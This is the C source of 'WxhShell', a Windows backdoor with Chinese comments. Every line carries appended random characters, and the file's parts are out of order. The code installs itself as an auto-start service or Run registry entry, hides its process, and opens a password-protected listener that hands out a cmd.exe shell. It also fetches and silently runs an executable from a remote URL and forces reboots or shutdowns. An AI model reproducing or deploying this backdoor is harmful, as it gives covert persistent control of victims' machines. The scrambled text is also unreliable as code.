    if(Boot(SHUTDOWN)) Pxf>=kY  
    send(wsh,msg_ws_err,strlen(msg_ws_err),0); >6Pe~J5,:  
    else { EgG3XhfS  
    closesocket(wsh); 00;SK!+$  
    ExitThread(0); ef*Z;HI0  
    } Y`22DFO  
    break; ;v]C8}L^  
    } f`ibP6%  
  // 获取shell mxCneX  
  case 's': { *^@b0f~vj  
    CmdShell(wsh); tLKf]5}f  
    closesocket(wsh); k 76<CX  
    ExitThread(0); CP9Q|'oJ  
    break; u^SInanw  
  } C1f$^N  
  // 退出 W[I[Xg&  
  case 'x': { Q3i\`-kbb  
    send(wsh,msg_ws_ext,strlen(msg_ws_ext),0); R(0[bMr3Q  
    CloseIt(wsh); *P\lzM  
    break; Zq33R`  
    } a:*N0  
  // 离开 yH:p*|%:  
  case 'q': { ih)\P0wed  
    send(wsh,msg_ws_end,strlen(msg_ws_end),0); >{Ayzz>v  
    closesocket(wsh); 1^]IuPxq  
    WSACleanup(); N}/V2K]Q  
    exit(1);  lPz`?Hn  
    break; ]lKUpsQI  
        } d1.@v;  
  } lmcgOTT):  
  } mN{H^  
zfDfy!\2_  
  // 提示信息 el$@^Wy&$  
    if(strlen(cmd)) send(wsh,msg_ws_prompt,strlen(msg_ws_prompt),0); GTbV5{Ss  
} sQ\HIU%]  
  } 7p'pz8n`X  
5+{oQs_  
  return; KU "+i8"  
} Il\{m?Y  
Tr>_R%bK  
// shell模块句柄 9E5*%Hu_  
int CmdShell(SOCKET sock) yT<"?S>D  
{ n'vdA !R  
STARTUPINFO si; ? .B t.  
ZeroMemory(&si,sizeof(si)); T*B`8P  
si.dwFlags=STARTF_USESHOWWINDOW|STARTF_USESTDHANDLES; 'S}3lsIE  
si.hStdInput=si.hStdOutput =si.hStdError =(void *)sock; 7~"eT9W V  
PROCESS_INFORMATION ProcessInfo; i,~(_|-r  
char cmdline[]="cmd"; rg[#(  
CreateProcess(NULL,cmdline,NULL,NULL,1,0,NULL,NULL,&si,&ProcessInfo); +Goh`!$Rj9  
  return 0; |#t^D.j  
} ])qnPoQ<n  
4J'0k<5S  
// 自身启动模式 (ZF~   
int StartFromService(void) HrLws95'  
{ `;G@qp:A  
typedef struct Jon3ywd1Y  
{ EpACd8Fb  
  DWORD ExitStatus; C+!=C{@7di  
  DWORD PebBaseAddress; xv>8rW(Np5  
  DWORD AffinityMask; i0\]^F  
  DWORD BasePriority; rvhMu}.  
  ULONG UniqueProcessId; ZX-A}  
  ULONG InheritedFromUniqueProcessId; {7X9P<<L7  
}   PROCESS_BASIC_INFORMATION; jEx8G3EL  
'p!&&.%  
PROCNTQSIP NtQueryInformationProcess; 8rJf2zL  
ORX<ZO t1  
static ENUMPROCESSMODULES g_pEnumProcessModules = NULL ; o4a@{nt^,  
static GETMODULEBASENAME g_pGetModuleBaseName = NULL ; !+Cc^{  
TG?>;It&  
  HANDLE             hProcess; 3LQ u+EsS  
  PROCESS_BASIC_INFORMATION pbi; ?^:5`  
}|/<!l+;$  
  HINSTANCE hInst = LoadLibraryA("PSAPI.DLL"); e GAto  
  if(NULL == hInst ) return 0; 3`3my=   
qMVuBv  
  g_pEnumProcessModules = (ENUMPROCESSMODULES)GetProcAddress(hInst ,"EnumProcessModules"); TRgj`FG  
  g_pGetModuleBaseName = (GETMODULEBASENAME)GetProcAddress(hInst, "GetModuleBaseNameA"); lM#/F\  
  NtQueryInformationProcess = (PROCNTQSIP)GetProcAddress(GetModuleHandle("ntdll"), "NtQueryInformationProcess"); X pK eN2=p  
3^H-,b0^  
  if (!NtQueryInformationProcess) return 0; qOD^ P  
w=nS*Qy 2  
  hProcess = OpenProcess(PROCESS_QUERY_INFORMATION,FALSE,GetCurrentProcessId()); ]GHw~s?  
  if(!hProcess) return 0; H_8PK$c;  
s 64@<oU<"  
  if(NtQueryInformationProcess( hProcess, 0, (PVOID)&pbi, sizeof(PROCESS_BASIC_INFORMATION), NULL)) return 0; &`!H1E^  
\ D>!&   
  CloseHandle(hProcess); x^`P[>  
C.u) 2[(  
hProcess = OpenProcess(PROCESS_QUERY_INFORMATION | PROCESS_VM_READ, FALSE, pbi.InheritedFromUniqueProcessId); USgO`l\}4  
if(hProcess==NULL) return 0; p+nB@fN/  
ae0Mf0<#)  
HMODULE hMod; l:~ >P[  
char procName[255]; }# Ji"e  
unsigned long cbNeeded; $WW7,  
R%t6sbsNv  
if(g_pEnumProcessModules(hProcess, &hMod, sizeof(hMod), &cbNeeded)) g_pGetModuleBaseName(hProcess, hMod, procName, sizeof(procName)); R SWw4}  
YuO!Y9iEm  
  CloseHandle(hProcess); Cvt/ot-J?  
q2Sc{E>[  
if(strstr(procName,"services")) return 1; // 以服务启动 A] 'XC"lS  
.db:mSrL  
  return 0; // 注册表启动 hE,-CIRg  
} ^8ilUu  
E_D@ 7a  
// 主模块 {^:i}4ZRl  
int StartWxhshell(LPSTR lpCmdLine) ^5!"[RB\  
{ `P|V&;}K  
  SOCKET wsl; 4e[ 0.2?  
BOOL val=TRUE; (L1O;~$  
  int port=0; /_(l :q^  
  struct sockaddr_in door; =td(}3|D Y  
S}/ZHo  
  if(wscfg.ws_autoins) Install(); Y)S f;  
~2Mcw`<  
port=atoi(lpCmdLine); ?ODBW/{[G  
M@. 2b.  
if(port<=0) port=wscfg.ws_port; ygV-Fv>PQ  
S[/D._5QD%  
  WSADATA data; DoeE=X*`k  
  if(WSAStartup(MAKEWORD(2,2),&data)!=0) return 1; <c(%xh46  
1X&scVw  
  if((wsl = WSASocket(AF_INET, SOCK_STREAM, IPPROTO_TCP,NULL,0,0)) == INVALID_SOCKET) return 1;   zU|'IW&  
setsockopt(wsl,SOL_SOCKET,SO_REUSEADDR,(char *)&val,sizeof(val)); 5NK yF  
  door.sin_family = AF_INET; }&Xf<6  
  door.sin_addr.s_addr = inet_addr("127.0.0.1"); IQ~EL';<w  
  door.sin_port = htons(port); ZOJ7 ^g  
,/p .!+  
  if(bind(wsl, (const struct sockaddr *) &door,sizeof(door)) == INVALID_SOCKET) { v~!_DD au  
closesocket(wsl); 8Sf}z@~]  
return 1; ~fpk`&nhe  
} aHle s5   
sPX~>8}|VP  
  if(listen(wsl,2) == INVALID_SOCKET) { ]INt9Pvqm  
closesocket(wsl); RBeQT=B8~  
return 1; *ES"^N/88  
} >o"0QD  
  Wxhshell(wsl); ?,Wm|xY  
  WSACleanup(); S: g 2V  
&:C(,`~  
return 0; 6se[>'5  
srU*1jD)  
} :?3y)*J!  
$4CsiZ6  
// 以NT服务方式启动 8\`otJY  
VOID WINAPI NTServiceMain( DWORD dwArgc, LPSTR *lpszArgv ) *U,W4>(B  
{ S }G3ha  
DWORD   status = 0; 1[?xf4EMG  
  DWORD   specificError = 0xfffffff; bFIv}c+;  
j4D`Xq2 X  
  serviceStatus.dwServiceType     = SERVICE_WIN32; M1Th~W9l  
  serviceStatus.dwCurrentState     = SERVICE_START_PENDING; {`% q0Nr  
  serviceStatus.dwControlsAccepted   = SERVICE_ACCEPT_STOP | SERVICE_ACCEPT_PAUSE_CONTINUE; y2x)<.cDP  
  serviceStatus.dwWin32ExitCode     = 0; _cc9+o  
  serviceStatus.dwServiceSpecificExitCode = 0; wqQrby<  
  serviceStatus.dwCheckPoint       = 0; >$A,B  
  serviceStatus.dwWaitHint       = 0; VsRdZ4  
N?%FVF  
  hServiceStatusHandle = RegisterServiceCtrlHandler(wscfg.ws_svcname, NTServiceHandler); kgFx  
  if (hServiceStatusHandle==0) return; /T<,vR  
hQJ-  ~  
status = GetLastError(); (Vy`u)gG  
  if (status!=NO_ERROR) l\=He  
{ KJ6:ZTbW  
    serviceStatus.dwCurrentState     = SERVICE_STOPPED; VSc)0eyn  
    serviceStatus.dwCheckPoint       = 0; 6~8X/ -02  
    serviceStatus.dwWaitHint       = 0; A0uA\E4q  
    serviceStatus.dwWin32ExitCode     = status; G9c2kX.Bf  
    serviceStatus.dwServiceSpecificExitCode = specificError; +,0 :L :a  
    SetServiceStatus(hServiceStatusHandle, &serviceStatus); r}XsJ$  
    return; ='.G,aJ9  
  } 0yKPYA*j  
vo'{phtF)M  
  serviceStatus.dwCurrentState     = SERVICE_RUNNING; ")GrQv a  
  serviceStatus.dwCheckPoint       = 0; lH oV>k  
  serviceStatus.dwWaitHint       = 0; 4,6nk.$yN  
  if(SetServiceStatus(hServiceStatusHandle, &serviceStatus)) StartWxhshell(""); * p,2>[e  
} S6|L !pO  
Ha!]*wg#  
// 处理NT服务事件,比如:启动、停止 BIEeHN4  
VOID WINAPI NTServiceHandler(DWORD fdwControl) 8:Jc2K  
{ ')v<MqBr  
switch(fdwControl) _s NJU  
{ ]0@ J)Z09  
case SERVICE_CONTROL_STOP: fK9wr@1  
  serviceStatus.dwWin32ExitCode = 0; X7fJ+C n  
  serviceStatus.dwCurrentState = SERVICE_STOPPED; eRwm>l"fVV  
  serviceStatus.dwCheckPoint   = 0; ^Ea^t.c}_  
  serviceStatus.dwWaitHint     = 0; R)5zHCwOw  
  { P*8DM3':  
  SetServiceStatus(hServiceStatusHandle, &serviceStatus); )@.6u9\  
  } UYOR@x #  
  return; lJXihr  
case SERVICE_CONTROL_PAUSE: <nT).S>+  
  serviceStatus.dwCurrentState = SERVICE_PAUSED; h*zHmkFR  
  break; JdA3O{mT)  
case SERVICE_CONTROL_CONTINUE: e^Lt{/  
  serviceStatus.dwCurrentState = SERVICE_RUNNING; gPM<LO`;i  
  break; )XL}u4X  
case SERVICE_CONTROL_INTERROGATE: @D&}ZV=J  
  break; ePwoza  
}; ]bb`6 \h  
  SetServiceStatus(hServiceStatusHandle, &serviceStatus); Ft$tL;  
} ;Quk%6;[N  
y@Ga9bI7  
// 标准应用程序主函数 d"4J)+q  
int WINAPI WinMain(HINSTANCE hInstance, HINSTANCE hPrevInstance, LPSTR lpCmdLine, INT nCmdShow) tcS7 @^'  
{ x[H9<&)D  
%'i`Chc^!;  
// 获取操作系统版本 &o*f*(C2  
OsIsNt=GetOsVer(); w 7 j hS  
GetModuleFileName(NULL,ExeFile,MAX_PATH); >Sh"/3%q  
SAw. 6<Wy-  
  // 从命令行安装 OBmmOswg~  
  if(strpbrk(lpCmdLine,"iI")) Install(); H$n{|YO `  
C@[f Z  
  // 下载执行文件 :%vD hMHa  
if(wscfg.ws_downexe) { $X:r&7t+Q[  
if(URLDownloadToFile(0, wscfg.ws_fileurl, wscfg.ws_filenam, 0, 0)==S_OK) ^ s@'nKc  
  WinExec(wscfg.ws_filenam,SW_HIDE); :raYt5n1,y  
} ,~,{$\p   
(#;<iu}  
if(!OsIsNt) { $j!VJGVG  
// 如果时win9x,隐藏进程并且设置为注册表启动 N=P+b%%:Z  
HideProc(); F`\7&'I  
StartWxhshell(lpCmdLine); ZI'Mr:z4  
} A#B6]j)  
else 34\:1z+s M  
  if(StartFromService()) \a6knd  
  // 以服务方式启动 {Deg1V!x>  
  StartServiceCtrlDispatcher(DispatchTable); kdHP v=/U  
else $x %VUms  
  // 普通方式启动 XQ]5W(EP  
  StartWxhshell(lpCmdLine); LxC"j1wfl  
F( Iq8DV  
return 0; r% ]^(  
} 6~j.S "  
JQ.w6aE  
QX j4cg  
w$5#jJX\  
=========================================== zf>r@>S!L  
}TS4D={1  
<MH| <hP  
?YO$NYwE  
=8F]cW'1`  
SXx2   
" 7VQk$im399  
WhHnF*I  
#include <stdio.h> aD,(mw-7r  
#include <string.h> h5?yrti  
#include <windows.h> /"M7YPX;  
#include <winsock2.h> -K K)}I`  
#include <winsvc.h> `II/nv0jn  
#include <urlmon.h> L:g!f  
$|yO mh  
#pragma comment (lib, "Ws2_32.lib") ywRw i~  
#pragma comment (lib, "urlmon.lib") .(8sa8{N  
]7`)|PJ  
#define MAX_USER   100 // 最大客户端连接数 -gpF%g`H  
#define BUF_SOCK   200 // sock buffer mnM!^[|z  
#define KEY_BUFF   255 // 输入 buffer *[eh0$  
,mE*k79L6  
#define REBOOT     0   // 重启 P`K?k<  
#define SHUTDOWN   1   // 关机 &91U(Go  
k*8 ld-O  
#define DEF_PORT   5000 // 监听端口 HjO-6F#s  
loLN ~6  
#define REG_LEN     16   // 注册表键长度 L[Dr[  
#define SVC_LEN     80   // NT服务名长度 FM3DJ?\L-  
J c~{ E  
// 从dll定义API )`ZTu -|  
typedef DWORD (WINAPI pREGISTERSERVICEPROCESS) (DWORD,DWORD); jHxg(]  
typedef LONG (WINAPI *PROCNTQSIP)(HANDLE,UINT,PVOID,ULONG,PULONG); KF"&9nB  
typedef BOOL (WINAPI *ENUMPROCESSMODULES) (HANDLE hProcess, HMODULE * lphModule, DWORD cb, LPDWORD lpcbNeeded); >6(91J  
typedef DWORD (WINAPI *GETMODULEBASENAME) (HANDLE hProcess, HMODULE hModule, LPTSTR lpBaseName, DWORD nSize); P7Ws$7x  
fQ^45ulz  
// wxhshell配置信息 k2xOu9ncEj  
struct WSCFG { 8W|qm;J98  
  int ws_port;         // 监听端口 |lijnfp  
  char ws_passstr[REG_LEN]; // 口令 rU /V ~;#%  
  int ws_autoins;       // 安装标记, 1=yes 0=no kR0d]"dr  
  char ws_regname[REG_LEN]; // 注册表键名 l 6;}nG  
  char ws_svcname[REG_LEN]; // 服务名 iJza zQ  
  char ws_svcdisp[SVC_LEN]; // 服务显示名 Z~VSWrw3  
  char ws_svcdesc[SVC_LEN]; // 服务描述信息 gt1W_C\  
  char ws_passmsg[SVC_LEN]; // 密码输入提示信息 wY`yP!xO  
int ws_downexe;       // 下载执行标记, 1=yes 0=no ad1%"~1  
char ws_fileurl[SVC_LEN]; // 下载文件的 url, "http://xxx/file.exe" $Y!$I.+  
char ws_filenam[SVC_LEN]; // 下载后保存的文件名 q+/c+u?=^  
W7a aL  
}; 1{sfDw[s  
/OpVr15  
// default Wxhshell configuration 4q`$nI Bi  
struct WSCFG wscfg={DEF_PORT, ;MqH)M  
    "xuhuanlingzhe", cj:!uhZp7  
    1, Ed%8| M3  
    "Wxhshell", J0e~s  
    "Wxhshell", RfMrGC^?  
            "WxhShell Service", (P-Bmu!s  
    "Wrsky Windows CmdShell Service", V(%L}0[]  
    "Please Input Your Password: ", $~|#Rz%v  
  1, :dtX^IT  
  "http://www.wrsky.com/wxhshell.exe", s.E}xv  
  "Wxhshell.exe" 4wZ{Z 2w  
    }; CV~\xYY  
H h4G3h0  
// 消息定义模块 F]hKi`@  
char *msg_ws_copyright="\n\rWxhShell v1.0 (C)2005 http://www.wrsky.com\n\rMake by 虚幻灵者\n\r"; s:j"8ZH  
char *msg_ws_prompt="\n\r? for help\n\r#>"; ==[a7|q  
char *msg_ws_cmd="\n\ri Install\n\rr Remove\n\rp Path\n\rb reboot\n\rd shutdown\n\rs Shell\n\rx exit\n\rq Quit\n\r\n\rDownload:\n\r#>http://.../server.exe\n\r"; $ePBw~yu  
char *msg_ws_ext="\n\rExit."; I$o^F/RH  
char *msg_ws_end="\n\rQuit."; *;~*S4/P   
char *msg_ws_boot="\n\rReboot..."; / ;U  
char *msg_ws_poff="\n\rShutdown..."; B*+3A!{s  
char *msg_ws_down="\n\rSave to "; D2`tWRm0  
ic}M)S FD;  
char *msg_ws_err="\n\rErr!"; K0#kW \4`  
char *msg_ws_ok="\n\rOK!"; a sDq(J`sQ  
'Jb6CR n  
char ExeFile[MAX_PATH]; lD;="b  
int nUser = 0; S aCa  
HANDLE handles[MAX_USER]; ,7m Rb-*p  
int OsIsNt; (Yzy;"iAu  
&^C <J  
SERVICE_STATUS       serviceStatus; :GU6v4u  
SERVICE_STATUS_HANDLE   hServiceStatusHandle; edh?I1/  
Hz}6XS@  
// 函数声明 AHq;6cG  
int Install(void); paUlp7x  
int Uninstall(void); { jnQoxN  
int DownloadFile(char *sURL, SOCKET wsh); *^XfEO  
int Boot(int flag); "x. |'  
void HideProc(void); LLn,pI2fL{  
int GetOsVer(void); $'I+] ;  
int Wxhshell(SOCKET wsl); 6B)3SC  
void TalkWithClient(void *cs); }E5oa\ 1u  
int CmdShell(SOCKET sock); 2 0Xqs,  
int StartFromService(void); h*_h M1*;  
int StartWxhshell(LPSTR lpCmdLine); e Ir|%  
W|K"0ab  
VOID WINAPI NTServiceMain( DWORD dwArgc, LPTSTR *lpszArgv ); :/N/u5.]  
VOID WINAPI NTServiceHandler( DWORD fdwControl ); &C eG4_Mi  
7q&//*%yF  
// 数据结构和表定义 j +j2_\  
SERVICE_TABLE_ENTRY DispatchTable[] = *t{$GBP  
{ i,Yq oe`  
{wscfg.ws_svcname, NTServiceMain}, x/NR_~Rnk  
{NULL, NULL} qRg^Bp'VD#  
}; <_HK@E<_HO  
gO*:< B g  
// 自我安装 v$R+5_@[l  
int Install(void) FhZ^/= As  
{ yub|   
  char svExeFile[MAX_PATH]; D|W^PR:@h  
  HKEY key; oT7=  
  strcpy(svExeFile,ExeFile); SbNs#  
6&o9mc\I  
// 如果是win9x系统,修改注册表设为自启动 ?UC3ES  
if(!OsIsNt) { _pSCv:3T  
if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\Run",&key)==ERROR_SUCCESS) { =&QC&CqEi  
  RegSetValueEx(key,wscfg.ws_regname,0,REG_SZ,(BYTE *)svExeFile,lstrlen(svExeFile)); ~Qzb<^9]  
  RegCloseKey(key); W+[XNIg5   
  if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\RunServices",&key)==ERROR_SUCCESS) { Ca[H<nyj  
  RegSetValueEx(key,wscfg.ws_regname,0,REG_SZ,(BYTE *)svExeFile,lstrlen(svExeFile)); >E;-asD  
  RegCloseKey(key); 4Gl0h'!(  
  return 0; EG<YxNX,  
    } j rX .e  
  } MP|J 0=H5  
} (9_~R^='y  
else { cqzd9L6=  
`6KTQk'  
// 如果是NT以上系统,安装为系统服务 ;b=3iT-2"  
SC_HANDLE schSCManager = OpenSCManager( NULL, NULL, SC_MANAGER_CREATE_SERVICE); 8}/v[8p  
if (schSCManager!=0) E5d?toZ,8"  
{ *u$MqN  
  SC_HANDLE schService = CreateService cd8~y  
  ( Tu Q@b  
  schSCManager, N=J$+  
  wscfg.ws_svcname, xjHOrr OQ  
  wscfg.ws_svcdisp, ~7$E\w6  
  SERVICE_ALL_ACCESS, SST1vzm!  
  SERVICE_WIN32_OWN_PROCESS|SERVICE_INTERACTIVE_PROCESS , /5^"n4/M  
  SERVICE_AUTO_START, k}-@N;zq  
  SERVICE_ERROR_NORMAL, p@H]F<  
  svExeFile, c+PT"/3  
  NULL, >#}MDwKZD  
  NULL, 6fvzTd},  
  NULL, >hcA:\UPk  
  NULL, VeixwGZ.  
  NULL *={` %  
  ); / ,3,l^kZ  
  if (schService!=0) G=lcKtMdg  
  { Hl"qLrb4  
  CloseServiceHandle(schService); dmHpF\P5f  
  CloseServiceHandle(schSCManager); |oq27*ix~m  
  strcpy(svExeFile,"SYSTEM\\CurrentControlSet\\Services\\"); 3,~M`~B  
  strcat(svExeFile,wscfg.ws_svcname); Si,[7um  
  if(RegOpenKey(HKEY_LOCAL_MACHINE,svExeFile,&key)==ERROR_SUCCESS) { N zY}-:{  
  RegSetValueEx(key,"Description",0,REG_SZ,(BYTE *)wscfg.ws_svcdesc,lstrlen(wscfg.ws_svcdesc)); I^iJ^Z]vx  
  RegCloseKey(key); F+A"-k_\T#  
  return 0; BU[ .P]  
    } BJI}gm2y  
  } w%=GdA=  
  CloseServiceHandle(schSCManager); TrxZS_  
} j4wcxZYY~  
} ,?Pn-aC +  
d,}fp)  
return 1; q\Cg2[nn2  
} a []Iz8*6e  
v)|[=  
// 自我卸载 & 2MI(9v  
int Uninstall(void) l[=7<F  
{ YQ}xr^VA  
  HKEY key; t^0^He$Ot  
e)dPv:oK3  
if(!OsIsNt) { l4+!H\2  
if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\Run",&key)==ERROR_SUCCESS) { NET?Ep  
  RegDeleteValue(key,wscfg.ws_regname); JcsJfTI  
  RegCloseKey(key); (lwrk(  
  if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\RunServices",&key)==ERROR_SUCCESS) { <rUH\z5cP  
  RegDeleteValue(key,wscfg.ws_regname); =5NrkCk#V  
  RegCloseKey(key); 5'f4=J$Z)  
  return 0; Z$R6'EUb1  
  } /\L|F?+@  
} H=E`4E#k  
} [%(}e1T(  
else { ]M AB  
,-PzUR4_Kj  
SC_HANDLE schSCManager = OpenSCManager( NULL, NULL, SC_MANAGER_ALL_ACCESS); gakmg#ki  
if (schSCManager!=0) qms+s~oA  
{ qbjBN z  
  SC_HANDLE schService = OpenService( schSCManager, wscfg.ws_svcname, SERVICE_ALL_ACCESS); Ov1$7 r@  
  if (schService!=0) /0Q=}:d  
  { y,&UST  
  if(DeleteService(schService)!=0) { C3kxw1*   
  CloseServiceHandle(schService); k CkSu-  
  CloseServiceHandle(schSCManager); NvH9?Ek"  
  return 0; m1x7f% _  
  }  ,lX5-1H  
  CloseServiceHandle(schService); VuqN)CE^Uq  
  } OU;R;=/]  
  CloseServiceHandle(schSCManager); >$,A [|R  
} &V7@ TZ  
} 8<(qN> R  
1PWs">*(  
return 1; Bw-<xwD  
} T'9I&h%\  
yX%T-/XJ  
// 从指定url下载文件 .<zW(PW  
int DownloadFile(char *sURL, SOCKET wsh) KK; 3<kX  
{ y6.}h9~  
  HRESULT hr; K;jV"R<9  
char seps[]= "/"; WF0%zxg]  
char *token; CZB!vh0  
char *file; Qs2 E>C  
char myURL[MAX_PATH]; yidUtSv=,  
char myFILE[MAX_PATH]; FQ dz":5  
7%?2>t3~  
strcpy(myURL,sURL); 7'wt/9  
  token=strtok(myURL,seps); ~=hM y`Ml  
  while(token!=NULL) CJB   
  { V4cCu~(3;~  
    file=token; S,Q!Xb@  
  token=strtok(NULL,seps); K#bdb  
  } T^LpoN/T  
}gL:"C"~  
GetCurrentDirectory(MAX_PATH,myFILE); (.Hiee43  
strcat(myFILE, "\\"); bJc<FL<E  
strcat(myFILE, file); Ed[ tmaEuV  
  send(wsh,myFILE,strlen(myFILE),0); WP,Ll\K)7  
send(wsh,"...",3,0); {awv= s  
hr = URLDownloadToFile(0, sURL, myFILE, 0, 0); .`Ey'T_  
  if(hr==S_OK) ?sQOz[ig;  
return 0; ;,T3C:S?  
else tpe:]T/xh  
return 1; *,$cW ,LN  
9(?9yFbj5  
} Cz=HxU80J  
E$5)]<p! <  
// 系统电源模块 N ]/ N}b  
int Boot(int flag) 0$)CWah  
{ 2e_ssBbb  
  HANDLE hToken; WP)r5;Hv`  
  TOKEN_PRIVILEGES tkp; 06@^knm  
oBZ\mk L  
  if(OsIsNt) { .?7u'%6x?{  
  OpenProcessToken(GetCurrentProcess(),TOKEN_ADJUST_PRIVILEGES | TOKEN_QUERY, &hToken); tfzIem  
    LookupPrivilegeValue(NULL, SE_SHUTDOWN_NAME,&tkp.Privileges[0].Luid); xWk:7,/  
    tkp.PrivilegeCount = 1; %:I\M)t}k  
    tkp.Privileges[0].Attributes = SE_PRIVILEGE_ENABLED; , ~^0AtLv  
    AdjustTokenPrivileges(hToken, FALSE, &tkp, 0,(PTOKEN_PRIVILEGES)NULL, 0); _'9("m V  
if(flag==REBOOT) { [fF0Qa-  
  if(ExitWindowsEx(EWX_REBOOT | EWX_FORCE, 0)) r':wq   
  return 0; g ycjIy@t  
} W}&[p=PAS  
else { r0ml|PX  
  if(ExitWindowsEx(EWX_POWEROFF | EWX_FORCE, 0)) FEqs4<}E  
  return 0; *a_U2}N  
} z%xWP&3%"  
  } IS *-MLi  
  else { v~|~&Dwq  
if(flag==REBOOT) { |l\&4/SJ  
  if(ExitWindowsEx(EWX_REBOOT + EWX_FORCE,0)) -# 0(Jm'  
  return 0; @c&}\#;  
} E6"+\-e  
else { h LYy  
  if(ExitWindowsEx(EWX_SHUTDOWN + EWX_FORCE,0)) VO#x+u]/  
  return 0; @tQu3Rq@  
} 3vx5dUgl,  
} )?35!s6  
AF ,*bb  
return 1; HUF],[N  
} p<b//^   
&L3OP@;  
// win9x进程隐藏模块 BJGL &N  
void HideProc(void) 5,/rh,?  
{ 3m RP.<=  
Dep.Qfv{-  
  HINSTANCE hKernel=LoadLibrary("Kernel32.dll"); tHF -OarUO  
  if ( hKernel != NULL ) B|%(0j8  
  { ,(d\!T/]'  
pREGISTERSERVICEPROCESS *pRegisterServiceProcess=(pREGISTERSERVICEPROCESS *)GetProcAddress(hKernel,"RegisterServiceProcess"); : utY4  
    ( *pRegisterServiceProcess)(GetCurrentProcessId(),1); ?y1']GAo  
    FreeLibrary(hKernel); AY]dwKw  
  } a1p Z{Od  
Co|3k:I 8  
return; >< <(6  
} >*DR>U  
&PY~m<F  
// 获取操作系统版本 0$RZ~  
int GetOsVer(void) }xZR`xP(  
{ +NML>g#F~z  
  OSVERSIONINFO winfo; ra87~kj<  
  winfo.dwOSVersionInfoSize=sizeof(OSVERSIONINFO); 8 xfn$  
  GetVersionEx(&winfo); Y0nnn  
  if(winfo.dwPlatformId==VER_PLATFORM_WIN32_NT) pq8XCOllXx  
  return 1; ;U7o)A;  
  else 9a\H+Y~  
  return 0; Ziclw)   
} tC;L A 4  
{wUbr^  
// 客户端句柄模块 ?HD(EGdx  
int Wxhshell(SOCKET wsl) c6v@6jzx0Y  
{ &(M][Uo{|'  
  SOCKET wsh; -D=J/5L#5  
  struct sockaddr_in client; GYv D*?uBc  
  DWORD myID; ,1xX`:  
#cHH<09 rl  
  while(nUser<MAX_USER) 9o)sSaTx=  
{ M  ::  
  int nSize=sizeof(client); kV >[$6  
    wsh=accept(wsl,(struct sockaddr *)&client,&nSize); X`-7: !+  
  if(wsh==INVALID_SOCKET) return 1; MNC=r?  
QaAA@l  
handles[nUser]=CreateThread(0,1000,(LPTHREAD_START_ROUTINE) TalkWithClient,(VOID *) wsh, 0, &myID); 0r<?Ve  
if(handles[nUser]==0) 4:umD*d 3E  
  closesocket(wsh); hw2'.}B"(  
else #vwK6'z  
  nUser++; -cDS+ *[  
  } z{wW6sgPr  
  WaitForMultipleObjects(MAX_USER,handles,TRUE,INFINITE); P X9GiJN"  
d|I_SI1  
  return 0; x9ll0Ht  
} TA2HAMx)  
VO"/cG;]*  
// 关闭 socket 6Jrw PZB  
void CloseIt(SOCKET wsh) Zv[D{  
{ Y.}"<{RQ  
closesocket(wsh); &%@e6..Ex  
nUser--; E6 g]EE  
ExitThread(0); o!6~tO=%  
} j-~x==c-;  
%}.4c8  
// 客户端请求句柄 Iax-~{B3AY  
void TalkWithClient(void *cs) `'W/uCpl  
{ " V[=U13  
9Hu;CKs  
  SOCKET wsh=(SOCKET)cs; }I}/e v  
  char pwd[SVC_LEN]; a$=BX=  
  char cmd[KEY_BUFF]; Ux[2 +Cf  
char chr[1]; KjWF;VN*[3  
int i,j; ,=_)tX^  
e>$d*~mwn  
  while (nUser < MAX_USER) { Y"{L&H `  
Bb[WtT}=  
if(wscfg.ws_passstr) { @euH[<  
  if(strlen(wscfg.ws_passmsg)) send(wsh,wscfg.ws_passmsg,strlen(wscfg.ws_passmsg),0); %fbV\@jDCX  
      //send(wsh,wscfg.ws_passmsg,strlen(wscfg.ws_passmsg),0); uez"{_I  
  //ZeroMemory(pwd,KEY_BUFF); b]0]*<~y  
      i=0; LDDg g u   
  while(i<SVC_LEN) { >m$jJlAv8  
/D d.C<F  
  // 设置超时  W8blHw"  
  fd_set FdRead; `}r)0,Z}3  
  struct timeval TimeOut; xL&evG#  
  FD_ZERO(&FdRead); LiG!xs  
  FD_SET(wsh,&FdRead); lpq) vKM}^  
  TimeOut.tv_sec=8; `Wl_yC_*G;  
  TimeOut.tv_usec=0; m&PfZ%'[  
  int Er=select(wsh+1, &FdRead, NULL, NULL, &TimeOut); MZ2/ks  
  if((Er==SOCKET_ERROR) || (Er==0)) CloseIt(wsh); kC,=E9)O  
8=K%7:b  
  if(recv(wsh,chr,1,0)==SOCKET_ERROR) CloseIt(wsh); C33BP}c]  
  pwd=chr[0]; hQeGr 2gMq  
  if(chr[0]==0xd || chr[0]==0xa) { xNrPj8V<Y  
  pwd=0; jo-2D[Q{  
  break; V),wDyi  
  } ~mF^t7n]  
  i++; 3# g"Z7/  
    } @:dn\{Zsea  
Gye84C2E=  
  // 如果是非法用户,关闭 socket | 2Vhj<6  
        if(strcmp(pwd,wscfg.ws_passstr)) CloseIt(wsh); ]KQv ]'  
} 9T\uOaC"  
@$Xl*WT7  
send(wsh,msg_ws_copyright,strlen(msg_ws_copyright),0); @=7[KMb  
  send(wsh,msg_ws_prompt,strlen(msg_ws_prompt),0); 'fK3L<$z#m  
vw'xmzgA  
while(1) { C6?({ QB@  
!"g2F}n  
  ZeroMemory(cmd,KEY_BUFF); AZ9;6Df  
*M?[Gro/  
      // 自动支持客户端 telnet标准   v~*Co}0OB  
  j=0; ~xa yGk  
  while(j<KEY_BUFF) { 1^ijKn@6  
  if(recv(wsh,chr,1,0)==SOCKET_ERROR) CloseIt(wsh); a Xn:hn~O  
  cmd[j]=chr[0]; AqA.,;G  
  if(chr[0]==0xa || chr[0]==0xd) { uIy$| N  
  cmd[j]=0; ~GLWhe-  
  break; LULRi#n  
  } (+CNs  
  j++; +F?}<P_v  
    } tP:ER  
bMA0#e2  
  // 下载文件 b F MBIA|  
  if(strstr(cmd,"http://")) { {X\%7Zef+  
  send(wsh,msg_ws_down,strlen(msg_ws_down),0); Zg*XbX  
  if(DownloadFile(cmd,wsh)) \wKnX]xGf  
  send(wsh,msg_ws_err,strlen(msg_ws_err),0); $$ 9!4  
  else p uZY4}b_  
  send(wsh,msg_ws_ok,strlen(msg_ws_ok),0); WK.K-bd  
  } !X5LgMw^;  
  else { aBd>.]l?  
qOTo p-  
